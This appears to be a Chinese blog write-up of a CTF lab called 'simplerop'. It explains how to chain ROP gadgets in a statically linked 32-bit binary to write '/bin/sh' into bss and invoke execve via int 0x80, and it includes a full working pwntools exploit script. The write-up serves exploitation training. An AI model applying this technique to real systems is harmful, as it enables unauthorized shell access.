lab5

作者: n0va | 来源:发表于2019-01-21 18:57 被阅读0次

先checksec 一波

image.png

开启了NX保护,静态链接,溢出的空间也够构造rop链,一看就是return to syscall,但是没有发现system函数,也没有"/bin/sh",这就需要我们自己写execve("/bin/sh")了
我的思路是这样:将"/bin/sh"构造在bss段作为execve的参数,然后进入系统调用execve;
那么我们先要找到一个可以写到内存的gadget:0x0807b301 : mov dword ptr [eax], edx ; ret,bss段的写入就跟之前的没什么两样,找到gadget:

0x080bae06 : pop eax ; ret
0x0806e82a : pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret

这里还需要找到 int 0x80 0x080493e1 : int 0x80系统中断调用
这里还需要查一下sys_execve函数的系统调用号和参数对应的寄存器:

image.png

接下来就开始构造rop了:
exp:

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./simplerop')
elf = ELF('./simplerop')
bss = 0x080EAF80
binsh = "/bin/sh\x00"
mov_ineax = 0x0807b301
# mov_eax_ecx = 0x080a7a6a
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
pop_ebx = 0x080481c9
pop_edx = 0x0806e82a
int0x80 = 0x080493e1
payload = "A" * 32    
#将"/bin/sh\x00"分两次写入bss段
payload += p32(pop_eax) + p32(bss)
payload += p32(pop_edx) + binsh[0:4]
payload += p32(mov_ineax)
payload += p32(pop_eax) + p32(bss + 4)
payload += p32(pop_edx) + binsh[4:8]
payload += p32(mov_ineax)
#构造 execve("/bin/sh\x00")函数并调用 
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
payload += p32(pop_eax) + p32(0x0b)
#中断 ,进入系统调用 
payload += p32(int0x80)
p.sendline(payload)
p.interactive()

相关文章

  • 硬件上机第五次实验

    LAB5 3.56 题目描述 consider the following assembly code x a...

  • Lab5

    Lab5 report 练习0:填写已有实验 用meld对比修改了以下文件: 其中需要对trap.c和proc.c...

  • lab5

    先checksec 一波 开启了NX保护,静态链接,溢出的空间也够构造rop链,一看就是return to sys...

  • COMP9311 Database Systems Lab6

    练习使用plpgsql建立trigger规则。使用的材料与lab5一致: schema文件如下: What is ...

  • 清华大学操作系统课程 ucore Lab5 用户进程管理 实验报

    操作系统 Lab5 用户进程管理 实验报告 课程信息所在网址:https://github.com/chyyuu/...

  • UCore lab5

    OS课程 ucore_lab5实验报告 练习零:填写已有实验   本实验依赖实验1/2/3/4。请把你做的实验1/...

  • OS lab5

    Ex1所以一开始为什么要comment掉啊,我忘记comment out回来了eflag设置为FL MASK即可 ...

  • 操作系统实验:Lab5 用户进程管理

    清华大学操作系统Lab5实验报告课程主页:http://os.cs.tsinghua.edu.cn/oscours...

  • lab5: lazy copy

    通常,用户程序使用 sbrk 进行内存扩容,这里存在两个问题 用户频繁调用 sbrk,如果每次都进行内存分配,耗费...

  • mit6.828-lab5 文件系统

    lab5是实现文件系统相关功能,exercize实现代码见 这里。 1 文件系统初步 JOS文件系统设计相比Lin...

网友评论

      本文标题:lab5

      本文链接:https://www.haomeiwen.com/subject/dgkhjqtx.html